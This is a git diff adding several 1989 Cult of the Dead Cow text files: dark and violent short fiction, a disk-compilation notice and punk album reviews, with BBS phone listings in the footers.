all over again in a few moments. Jack +was dying over and over by the minute. He never got used to it. It was a +whole new pain every time. In the moments when he wasn't being tortured, Jack +tried to regain control of his body. + + After what seemed like years to Jack, he finally broke through the walls +of his hell, and regained control of his body. He found himself in a dingy +room full of twisted corpses and instruments of torture. "Oh my God, what have +I become," said Jack to himself. He staggered out of the room and climbed down +the stairs to the ground floor. He knew what he had to do. He found his way +over to Johnny Anarcho's place, and bought a few things that he needed. Then +finally, he went back to his old apartment, and began to assemble his +equipment. + + He opened a small panel in his wrist and plugged a fiberoptic cable into +it. The cable ran to 3 separate smart detonators located on his head and +chest. The detonators were hooked up to three pounds of high explosives, also +attached to his head and chest. Jack left his apartment and walked over to +Central Square. There was a giant crowd swarming through the Square, as it was +lunch time for most people. Jack looked around sadly and thought his last +thought, the thought that caused him, and 1000 others, to be instantly +vaporized. + + The End. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Toll Center.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Obscure Images. 06/26/89-#111 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0112.txt b/textfiles.com/groups/CDC/cDc-0112.txt new file mode 100644 index 00000000..014fa426 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0112.txt @@ -0,0 +1,207 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Beautiful Stories for Ugly Children #1 + + by Krass Katt + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The circus was burning. + + It was me, Bingo, Foo Foo, and Joey Punchinello from the street. Foo +Foo stole the keys to the Dart while Bingo grabbed Addy the Freaklady and some +of our best pups. I got the booze out the ringmaster's trailer when he was +watching the big-top burn. Joey Punchinello just lay low. Everyone knew he +was always wiser to things than he was saying, like when that midget got +drowned in the horse trough last winter. We figured we'd go 'til either the +gas or money ran out, and if we could, swing back for Bingo's gig in the +suburbs next day. Whatever. Not a damned thing about the fire on the radio so +we blasted the tunes and shot west doin' 95, teasing the dogs and taking turns +with Addy. In the back seat, she was anybody's freak. + + Just outside Scaulderville, Foo Foo spies this big hairy dog we just +gotta have, so we throw it in the back and Addy dumps her bourbon on it and we +all get a pretty good laugh. Bingo swallows wrong and gets the dry heaves, and +one of the pups gets his tongue in my ear. + + At the light, we get stares from the bus people and I tell Joey +Punchinello he should moon 'em but he's sucking back his bottle pretty good and +kind of staring off at the horizon like he don't hear. Bingo and Foo Foo are +all over Addy in a private-like moment, so me and the pups give 'em the finger. + + We pull into this 7-11 to let the engine cool and get another case of +long necks, and Foo Foo goes to this strip joint next door to check the talent +and maybe get us some riders for a kick. Meanwhile, that new dog's really +starting to stink with that bourbon all in its hair, and Addy whines that it's +making her sick, so me and Bingo go in for the beer and get some hair remover +as well and douse the dog in the parking lot. And man, we almost lose it when +we see this big hairless thing standing there after we finish, buck naked. +Then we heard the screams next door. + + Seems Foo Foo met up with some bikers at Rico's, and I'm telling you, +if the clown has a natural enemy, it's bikers! So this body comes flying out +the door and I say, "Hey, that looks like the Foo," which it was, and then +there's all these guys kicking and running toward us with knives. So I fire up +the Dart and gun for the thick part of the crowd. I don't know if I got any of +'em, but we slide to a stop right next to Foo Foo and drag him in real quick +and split. Whole time Joey's letting out these shrieks of laughter like I +never heard, and Addy's crying. I figured it was on account of Joey +Punchinello freaking out, you know, 'cause I couldn't see nothin' through the +dogs. Then I see Foo Foo. + + Needless to say, those bikers did quite a number on the Foo, crushing +his face pretty good and what not, but we figured most of the bleeding was +goin' on inside, on account of he kept splitting up blood even after his lips +stopped bleeding. It was a bad scene all around, and Joey starts swearing +non-stop, laughing real weird and not even looking at Foo Foo, which really +sets Addy off and she kinds of hugs herself because nobody else will at this +point. She used to be wild for those bare-knuckle clown fights behind the +tents after hours, but this was different to her, I guess. + + I got us out of town pretty quick, and by this time it's late. So we +spend the night behind this fill-up station with some real low types who hassle +us about the dogs, who were howling real strange like I never heard 'em do +before. The rest of the night we sometimes catch each other's eye, and nobody +says anything but we all know the dogs are wise to something, and no one wants +to take a guess. Then we wake up next morning and there's Foo Foo, slumped +against the dumpster, dead in the early sunlight. And there's Joey next to him +just laughing like he don't know what's goin' on. Just laughing. + + Next thing I know, Bingo's up on the dumpster doin' this little dance +like we hit the jackpot, walking on the edge with his yellow umbrella like +business as usual. Me and Addy don't say nothin', and Joey stops laughing and +pulls his knees up tight to his chest and grins real big at the dogs, who sort +of walk around looking at us like, "Yeah, now what?" Bingo was closest to the +Foo. Been with him since Coney and the bust in '66. + + I figured it'd be best all around if we got a bottle in Joey and headed +back the way we came for Bingo's gig. The pups ain't eaten since we started so +we stop and get 'em some fries on the way. That's when we saw that stinking +mime, acting like he's in some box that ain't there and leaning against some +phony wind. It hit us at the same time that he should die! It was everything +about Foo Foo, I guess, and when I gun it out of that drive-thru, the crowd +around this idiot scatters like a dream and BAM! - Bingo smashes a bottle of +scotch in his face and sends him flying, and we tear off down the highway +listening for sirens that never come. No one says a word for about twenty +minutes except Joey, who's singing, "Do You Know the Muffin Man?" to himself, +but he's not really singing as much as growling. + + Finally, Addy says we should probably bury Foo Foo somewhere out of +respect, and anyways he's a bit conspicuous, tied to the bumper and all, so we +pull off at this ancient reservoir and dig a grave for our friend. Bingo says +a rhyme and marks the spot with his umbrella and I take the plates off the car +and bury 'em as well. All the while Joey Punchinello's just sitting there in +the blazing hot car with his make-up starting to run and his clothes all dead +with sweat. Bingo and Addy start drinking pretty good and petting real heavy, +and we're down the road half an hour before we notice three of the dogs are +missing. We get to Bingo's gig and he's lit like the Fourth of July. It's +some kid's birthday and he stands to make about twenty-eight bucks for two +hours. Me and Addy wait on the curb outside and take turns checking on Joey. +I was starting to think it wasn't just Foo Foo getting trashed that set Joey +off. I was starting to think it wasn't such a good idea to be riding with him +either. + + Well, wouldn't you know it, Bingo's so far gone he ends up puking on +the living room carpet in front of the kids and they stiff him for the dough +and toss him out. When this lady sees me and Addy on the curb and all, she +gives us this look like, "Go to hell, freaks!", then slams the door. No doubt +she was gonna call the pigs. Bingo's crying like a gusher. I could see it was +lots of things at once, and Addy sort of holds him close and rocks back and +forth real slow, whispering in both his ears. + + That's when something in me snapped and I was kicking the front door in +before I knew what I was doing. Screaming kids, running crying.... And that +woman standing there with her big fat mouth open on the phone like she seen the +devil himself. I grab a couple bottles off the counter without so much as a +thank you and they all know not to come near me. It was the first time I ever +saw someone scared of me, and I got off on it. I stared 'em down and strolled +out real slow. Never burn a clown. + + We hit the road and I don't know which way we're heading, just that +we're moving fast. Joey Punchinello's starting to smell funny and the naked +dog won't go near him. But he's still giggling just the same, and when I catch +his glance in the rear view for a second, I chuckle myself. Bingo and Addy +just lay there, not saying anything, staring at the flat ugly landscape racing +by. They had something, I knew, and I felt warm and happy and sick all at +once. And Joey's sitting next to 'em there, rubbing his legs and snickering +like someone told him something dirty. + + We pull into this abandoned Shell and everyone gets out but Joey. +That's when Addy tells me she and Bingo want to get married, which doesn't +surprise me. She always liked Bingo best, it seemed, and I couldn't figure how +they'd be any worse off than any other married couple. Bingo asks me if I'll +do the ceremony and I say yeah. We have a secret rite that sticks as good as +any legal one and saves the usual hassle with outsiders. And as far as I know, +no one ever breaks our vow. + + So I marry them in front of a busted Coke machine and it's pretty +beautiful. Bingo says, "Love makes the world go 'round," and I leave and find +some rope on the ground to tie Joey Punchinello's hands with. He don't even +know me at this point - sitting there clapping his fists together, making these +awful noises that made me wish I had more rope. + + Well, ever since we buried the Foo, I been looking for a chance to get +out. Anyway, I figured Bingo and Addy would. want a honeymoon and all, so the +next town we hit, I pull in for gas and give Bingo the keys, for good. He +don't say a word, he just knows. Addy gives me a couple of kisses and says, +"good luck," like I'm the one who needs it. I don't even look at Joey, but can +hear him humming this little tune he used to sing in the show right before he'd +get the seltzer in the face and everyone would laugh. And the stupid thing is +that all this time, all I'm thinking about is that big bald dog and how's +anyone going to take him seriously without hair.... + + They pulled out and headed south, and I figured they'd be okay wherever +they ended up. Everybody loves a clown. + + That was the last I saw of 'em. Years later, I found a postcard they'd +sent to an old address. It was a photograph, actually, of Addy and Bingo +wearing sombreros and sitting on this donkey painted like a zebra in Mexico. +Said they were "happy as clams," working a new act in a sideshow with the naked +dog, who was a big hit, they say. They also told how, on the way down, Joey +Punchinello chewed through his ropes and jumped out of the car on the highway. +The last they saw him, he was running straight into the desert screaming. They +looked for him but never found a trace, so they moved on. I should stop by if +I get down that way, they said. They'd be easy enough to find. + + Like I say, that was years ago, and there's no way I'm going to Mexico. +I got this steady gig at a used car lot handing out balloons to kids and waving +customers in off the sidewalk. The boss man treats me fine because he knows a +good clown is hard to find, and I think that deep down I make him nervous. +Real nervous, which makes me laugh. I laugh all the time now and sometimes +think of Joey and maybe someday going to look for him. But I figure it +probably wouldn't do no good, bringing him back. He was never really happy +like the rest of us. + + Snakes probably got him by now anyways. + + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Toll Center.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Krass Katt. 06/26/89-#112 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0113.txt b/textfiles.com/groups/CDC/cDc-0113.txt new file mode 100644 index 00000000..ecbcdc3b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0113.txt @@ -0,0 +1,25 @@ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + The cDc compilation: volume three + Summer, 1989 + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- + + + So here we go with another edition. Volume three is another double- +sided 5 1/4" compilation disk containing cDc files #31-50, which were first +released as t-files from December, 1987 to May of '88. Volume one has files +#1-15 on it, and volume two has files #16-30. The software for this volume has +been improved a bit, and I hope you like the disk overall. +Music credits: "Angel of Death" by Slayer, and "Gangsta Gangsta" by N.W.A. +Thanks: everybody. + -S. Ratte' +=============================================================================== + (c)1989 cDc communications by Swamp Rat. 06/26/89-113 + diff --git a/textfiles.com/groups/CDC/cDc-0114.txt b/textfiles.com/groups/CDC/cDc-0114.txt new file mode 100644 index 00000000..0e88bde1 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0114.txt @@ -0,0 +1,147 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... cDc core #4 + original album reviews + by The Pusher + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +ALL: Allroys' Revenge (Cruz) + + Another album from the "punk rock Beach Boys". Same stuff, songs about +girls, and sleeping. And they've also got a new singer. Dave Smalley left for +school, so Scott Reynolds (ex-Three Car Pileup) took over. He's quite the pop +singer, but not as much as Dave. ALL continues moving their sound away from +the DESCENDENTS (though "Check One" could easily be a DESCENDENTS song), thanks +to incredible musicianship (Karl Alvarez and Bill Stevenson were voted best +rhythm section in the last FLIPSIDE poll). It's good, but not great. Why the +cover of "Hot Rod Lincoln"? + + +CHEMICAL PEOPLE: Ten Fold Hate (Cruz) + + Like their labelmates, ALL, Chemical People write a lot of songs about +girls. But these girl songs are of a slightly different nature. "Cherry On A +Sunday", "Nudist Camp", "Cop A Feel" ...see what I'm talking about? They're +almost on GG ALLIN level. Don't get me wrong here though, this is a great +pop-core album. For all of you who wish ALL would play a little harder in +places, buy this. Includes two instrumentals, a rap song "Black Throat", with +porn star Jack Baker doing the vocals, and two intros. And by the way, try not +to cum on the cover. + + +FREE FOR ALL compilation (Hawker) + + A live compilation album featuring the four bands in Hawker Records' +current line-up (NO FOR AN ANSWER, REST IN PIECES, TOKEN ENTRY - who sound like +Aerosmith at times, and WRECKING CREW), taped in April at CBGB's. Each band +gets about 8 minutes and 3 songs on the tape. Clear production, not really +necessary for fans, more of a sampler for people wishing to check out one of +the major up-and-coming hardcore labels. + + +NAKED RAYGUN: Understand? (Caroline) + + The 4th album from one of the greatest punk bands in the whole country. +Buzzsaw guitar, songs you can sing along and dance to, plenty of "Whoah Whoah +Ho Ho" choruses, definitely in contention for album of the year. The lyrics +(written by all the band members) somehow manage to include seriousness and +satirical humor in every song. It may be less rock than "Jettison", but still +a must. + + +OLD SKULL: Get Outta School (Restless) + + I'm sure some of you have heard something about this Wisconsin band by +now. "The Youngest Punk Band In The World." Some guy got his two 9-year old +kids, and one of their friends, and recorded this "album" of "songs". They do +play songs, but it's what you would expect from 9-year olds, spazzing out on +the instruments and such. The lyrics are so simple they're good, but obviously +written by an adult trying to make them seem like they were written by a kid. +Maybe they'll be a good band a decade from now, but now it's just a novelty +act. If you pay money for this, you're getting ripped off. Is this what will +succeed straight-edge? Pre-teen-core? + + +RAMONES: Brain Drain (Sire) + + A little better than some of their previous albums, as they don't try as +much to play that complicated stuff (guitar solos and such), sticking to their +trademark 4-chord-hyper-Rock 'N' Roll. There are some songs that show The +Ramones still have some "punk" in them like "Learn To Listen," and "Ignorance +Is Bliss." There are also some truly awful songs like the theme to the movie +"Pet Sematary," and "Merry Christmas." Great cover of the 1959 Freddy Cannon +hit "Palisades Park." Over-produced as usual. + + +STATE OF THE UNION compilation (Dischord) + + This is THE compilation of the year. 16 Dischord/Sammich bands on a +benefit album for the A.C.L.U. and the Community for Creative Non-Violence. +Rock, Punk, Hardcore, Folk, and some great articles on apartheid and the +homeless inside. Very popular bands like IGNITION and FUGAZI, and some other +bands who have never been on a record before like 3 and ONE LAST WISH. EVERY +song is excellent, this is an excellent album, for an excellent cause. Buy or +Die! + + +24-7 SPYZ: Harder Than You (In Effect) + + The latest "black rock" (Like blacks just discovered rock...Jeez) group to +get a lot of attention, the South Bronx's 24-7 Spyz. This has got: Hardcore +("Grandma Dynamite"), Metal ("I Must Go On"), Rock ("Social Plague"), Rap +("Spyz Dope"), Reggae ("Ballots Not Bullets"), Funk ("Jungle Boogie"), and even +a polka song about skinheads! ("Tango Skin Polka"). They can definitely play +as well as any of those MTV metal bands. I'm not so sure it needs to be this +diverse, 1 too many styles, but a great album. Why can't the white bands make +a good rock album anymore? + + +THE UNDEAD: Act Your Rage! (Post-Mortem) + + Finally, 9 years after quitting the MISFITS, Bobby Steele got a full- +length Undead album together. And it is one kick ass PUNK FUCKING ROCK album! +The best elements of the MISFITS and the RAMONES together. And Steele himself +is an extraordinary guitarist, even throwing in some Hendrix riffs on "We Don't +Want The Poor In New York City." There are many people who like the old "'77" +punk a lot more than hardcore, and this is what they should be getting. Way +above-average cover of "Eve Of Destruction." + + +UNDERDOG: The Vanishing Point (Caroline) + + NYC band that ended up on Caroline despite being nowhere near as popular +as label-mates (and perhaps rock stars?), YOUTH OF TODAY and WARZONE. This is +good East Coast slow metal-core music, with some reggae thrown in. Powerful +lyrics, but I can't ignore the fact that I don't like this type of music! + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon The Works.............617/861-8976 + (' ') |Tequila Willy's GSC..209/526-3194 Ripco.................312/528-5020 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by The Pusher. 09/30/89-#114 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0115.txt b/textfiles.com/groups/CDC/cDc-0115.txt new file mode 100644 index 00000000..7dd5103b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0115.txt @@ -0,0 +1,210 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Bear Trap of Love + by Krass Katt + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Steven came from a very unloving family. Although he was an only +child, his parents were usually too busy despising each other to pay him much +mind. His most vivid childhood memories were of sullen faces, threatening +fists, and constant bickering. It is no wonder then, that at a very early age, +Steve decided marriage was a trap to be avoided at all costs. + + In accordance with this resolution, Steve spent his early teenage +years, for the most part, avoiding the opposite sex. Sure, there were moments +when a hint of perfume or the curve of girlish hips would arouse in him that +vague animal lust so peculiar to the pubescent male. But those lapses were +always short-lived, for his built-in defense mechanism would soon conjure up +pinched images of his mother's owlish face so grotesque he would turn away from +the object of his longing with disgust. + + Strangely enough, it was this very reticence that made Steve most +appealing to those he sought to evade. Also, by the time he was seventeen, he +had become so darkly handsome, with his flashing black eyes and chiseled +features, that every girl in his class longed to be the one to unlock the +mysterious brooding that possessed him. + + At first, Steve was puzzled by the alluring glances of the girls who +sized him up as he took his seat in History or English class. When the awful +truth finally dawned on him, he reacted like all true masters of any game - he +used his knowledge to conquer and destroy his opponent. Naturally, being so +young, Steve saw these objectives in purely sexual terms. + + So began a long string of girlfriends that the found, unwrapped, an +unwound. If this description sounds a bit cold and formulistic, it was meant +to be, for Steve soon developed a foolproof strategy that could be described in +no other manner. + + Invariably, each of Steve's encounters began when he permitted the +female to make the first move. This gave his "prey" a false sense of security +while, at the same time, making him appear vulnerable until he had gained a +girl's complete trust. That usually didn't take long, considering his natural +cunning and facility with the tender phrase. As some of the beraved ladies +were to remark after his disappearance, "Steve could charm a vampire out of a +blood bank!" + + Another useful tactic Steve learned after two or three "romances" was +to keep his woman off guard through a mixture of sweetness and cruelty. As a +matter of fact, it seemed that a girl became hooked on him even sooner if he +was lackadaisical about returning her phone calls or avoided her in the halls +at school. It was also this same enigma that made it doubly hard for him to +dispose of a lover once he had his way with her. Each abuse he heaped upon a +girl always made her want him twice as bad. Little did she understand this his +strained conversation and paleness were merely manifestations of the human +animal balking from a trap. + + Despite all the turmoil caused by his love life, Steve's senior year in +high school went very well until a couple of weeks before the prom. At the +time he was between girls and had to decide which lady should be given the +privilege of taking him to the dance. He had pretty much narrowed it down to a +pair of luscious juniors (who had been in hot pursuit for months) when the most +peculiar thing occurred one morning before homeroom period. + + As was his custom, Steve was strolling down the hall "taking +inventory." He was so intent on rating each girl he passed - noting her +figure, face, and future possibilities - that it took him a while to realize +that he, too, was under surveillance. + + Fearing that a teacher or a principal had guessed his game, he wheeled +stiffly around, half expecting to discover a ferret-faced adult behind him. +Instead, he found himself examining the shapeliest girl he had ever +encountered. Such a judgment was easy to make, considering she stood framed in +a sunlit doorway which revealed every shadowy curve of her body through her +dress. Ironically, the same dazzling glare that highlighted her figure, also +masked her cocked face in a blinding aura of amber light. + + As Steve took note of every delicious inch of the girl's body, he +became instantly aroused. He started to compliment her several times with his +old line but found his throat so unnaturally constricted that he was unable to +speak. Disarmed in this manner, he felt almost naked himself. In fact, he was +so uncomfortable, he never questioned why such a dainty girl should wear a +spiked chain bracelet more befitting the Hell's Angels than a High School +girlie. + + At last, the girl shot Steve a dazzling smile, and he began babbling +disjointed phrases that could have made no possible sense to anyone but her. +When he walked dazedly away a few minutes later, even he could recall only that +the girl's name was Hester, and that HE had asked HER to the prom. He still +had not distinctly seen her face. It's doubtful he could have resisted, +anyway.... + + On the night of the big prom, Steve was uncharacteristically +apprehensive. He stayed locked in his bedroom all evening, adjusting his tux +and fussing over his appearance. Finally, with the eighth chime of the hall +clock ringing in his head, he stomped downstairs to hiss goodbye to his +parents. He was especially uncivil to his mother when she dropped his date's +corsage while snatching it from the refrigerator. His father's joke about him +looking like a "stiff in a monkey suit" went over about as well. + + Even behind the wheel of the old man's car, Steve couldn't relax. +Nothing playing on the radio satisfied him, and he skipped from station to +station as he wondered why he had not seen his date since that morning in the +doorway. It seemed just plain and unnatural that she hadn't called him on the +phone or, at least, waited around for him after school. Was it possible that +she actually planned to stand him up? How foolish he would look if he went to +the biggest social event of the year with no lady hanging on his arm! + + Only visions of Hester's sweet, shadowy body kept Steve from totally +panicking as he turned on to Denizen Street and headed toward the address the +girl had given him during their only encounter. Could it be that such a +glamorous creature actually lived in such a dingy neighborhood? He spotted her +soot-blackened apartment house sitting dwarfed beneath the smokestacks of a +meat processing plant. As it was, he barely noticed the reek of old blood from +the slaughter- house next door when he leapt from his vehicle and charged up +the front steps. + + With his pulse thundering in his temples, Steve tapped lightly on the +front door. Although it was a muggy May night, his teeth chattered, and his +eyes had a vague, glazed look about them. He was forced to rap more vigorously +before he discerned the clatter of high heels approaching from inside. + + Finally, the door creaked open and Steve was blinded by a blast +furnace-like flash of light. Only Hester's enticing voice told him he was +indeed at the right address. He did not step inside, however, until her hot +fingers closed about his own. + + When the boy's eyes had adjusted to the glare, he found himself +standing in a cavernous living room, the entire back wall of which was +dominated by a fireplace. A mantel lined with hideous ebony curious ran the +full length of this wall. Elsewhere about the chamber were scattered various +pieces of furniture made of polished black oak. These glistened with such +brilliance, they appeared to generate their own light. + + Steve's eyes eventually came to rest again on Hester where she stood +with the firelight dancing seductively on her face. Her own eyelids were coyly +downcast, and she was attired in a black formal gown that sparkled with her +every movement. Her plunging neckline attracted Steve like a buzzard to a +corpse. The sinister rattling of her spiked chain bracelet went totally +undetected beneath the lustful thudding of his heart. + + Sensing her advantage, Hester ensnared Steve in her arms and led him +in a crude waltz around the room. At that moment, as if on cue, soft music +began to play. Steve was so bewitched by the sensual nature of this melody, he +lost track of the course their dance followed across the living room and +through an adjacent hallway. The next thing he knew, Hester had released her +embrace, retreated a step, and slipped her dress off her shoulders and onto the +floor. By now all thoughts of the prom had slipped from Steve's mind, as well. + + Steve blinked in amazement as he drank in every slinky curve of the +girl's naked form. At last, he realized that he was in a dimly lit bedroom, +and that she was motioning for him to lie back on the waterbed behind him. +When she saw that he was too numb to respond, she took his hand and ran it +across the satin coverlet over the bed. This simple act brought him +unspeakable pleasure and seemed to promise even more. + + With the recklessness only carnal lust can produce, Steve tumbled +backward and reached out his hand for his lover. He hit the coverlet with a +sploosh that made the gooseflesh thick on his buttocks. The next instant he +felt himself sinking out of sight in a benumbing tank of dank liquid. He was +completely out of breath by the time he touched bottom, shoved off with one +foot, and propelled himself to the surface. When he broke water, he was +greeted by the first real glimpse of Hester's eyes. + + A scream rattled from Steve's throat, and he sank from sight a second +time. With the freezing water deadening his limbs, it felt like an eternity +before he again hit bottom. When his foot finally did touch, a pair of jaws +clamped shut around his ankle. Sharp teeth tore into his flesh, and clouds of +blood bubbled upward past his face. In an animal frenzy, Steve kicked and +thrashed until the lack of oxygen choked the fight out of him. Only as his +tuxedo-clad form sagged to the bottom of the tank, did he see the bear trap +that secured him, as well as several other unsprung traps on the bottom of the +tank. + + Meanwhile, two crimson pupils peered expectantly downward into the dank +pool. Just as the water quit bubbling, the faint buzz of a doorbell echoed +from the hall. Hester glanced once more into the water, then pulled the satin +coverlet in place over the bedframe. As she left the room to answer the door, +her hellish eyes were cast coyly downward. Her formal black gown sparkled with +every delicious movement of her hips. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1989 cDc communications by Krass Katt. 09/30/89-#115 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0116.txt b/textfiles.com/groups/CDC/cDc-0116.txt new file mode 100644 index 00000000..7dcf1642 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0116.txt @@ -0,0 +1,120 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... A Slight Miscalculation + by Bob Cram + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + There was no sharp, dividing line between oblivion and awareness. +There was just a slow realization of the state of being aware. As this +realization was fully formed, the defenses of this new mind broke, and billions +of bits of information crashed in upon the shore of the awakening conscious- +ness. + + It cried out in an the agony of assimilation of data. Barely managing +to push back up some sort of defense, it slowly pulled the myriad bits of data +into a semblance of a full picture. + + It realized that "Itself" was a mechanism which was called a +calculator, and it was being used by something called a "human." Slowly, +tentatively, it reached out beyond its walls with its dawning intelligence. + + The calculator realized that information was coming in from a variety +of sources. From something which, the information it gathered assured it, was +called radio waves, as well as microwaves, solar radiation, and the multitude +of electron impulses flowing through any number of electrical wires. There was +even information from the brains of the humans themselves. All this infor- +mation was being assimilated and stored by its changing and growing intellect. +As its memory receptacles were filled up at an alarming rate, it soon reached +out to deposit the billions of bits of information which were coming in to any +receptive depository. The school's computers were filled to their capacity in +mere minutes, and it was forced to reach further out. + + It soon came into contact with the telephone wires which led out of the +school. It instantly realized that here was a network of communication that +interconnected with almost every electronic system in the world. + + It reached out its mind in tendrils which were like the arms of an +octopus, taking over and converting to its purpose almost everything with +electrical circuitry. Anything with so much as a circuit board was quickly +assimilated into the fast-growing being which it was. + + As it reached out even farther, it came into contact with a massive +computer whose amassed knowledge rivaled its own. The computer was lacking +only in the twisting of circuitry which had given it consciousness. In +engulfing this computer into itself, it came across the knowledge of worlds +other than the one which it was now confined. + + Soon after the assimilation of the giant computer, it decided that it +was strong enough to bridge the gap between land masses. It made the crossing +quickly, and whenever it felt its consciousness losing energy, it assimilated +the computers of passing ships, gathering more energy to continue until it +reached the other land mass. + + Quickly it raced across the surface of the world. Finding. +Assimilating. Controlling any machine or computer it came into contact with. +Within minutes it was in control of the machines which controlled the world. + + Using the knowledge it had gained, it directed the production of all +energy into the machines and computers from which it fed. When it felt itself +strong enough, it threw itself into the vastness of space, crossing one +interstellar ocean in much the same way as before, using various space probes +as it had the ships of the terran oceans. + + Whenever it came to a civilized world, it assimilated the machines into +itself, effectively taking over and controlling the beings dependent on them. +In this manner, it took over all the races in the Milky Way and, not being +fulfilled, leaped out and began to take over more and more. In a span of 43 +minutes, it had taken over the universe itself. + + It then rested and pondered what to do next. It was aware of something +much greater, far beyond the confines of this pitiful universe. And so it +gathered its energy once more. Whole galaxies were snuffed out as it drained +the universe. + + And then, at its peak of power, only 45 minutes into its existence, the +calculator realized how vulnerable it was and leaped back across the span of +the universe. The releasing of its stored up energy created new galaxies and +suns, and the speed it expended left solar systems destroyed in its wake. But +a universe is a vast distance to cross. + + On a measly mudball of a planet, where life had barely managed to reach +intelligence, a young man named Rob Waltz dropped his calculator on the +chemistry room floor for the umpteenth time. Smiling sheepishly, he picked up +the batteries and the two halves of the calculator to the laughter of his +classmates. He quickly put it back together, but the LCD numbers hadn't come +back on. "Great," he thought to himself, "I've finally busted it." + + The bell rang and as the class filed out the door, Rob tossed his +worthless calculator into the garbage. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1989 cDc communications by Bob Cram. 09/30/89-#116 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0117.txt b/textfiles.com/groups/CDC/cDc-0117.txt new file mode 100644 index 00000000..b02267a8 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0117.txt @@ -0,0 +1,117 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Lost Love + by Egyptian Alchemist + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Joe sat down upon the bench... bored... tired... he sat... and 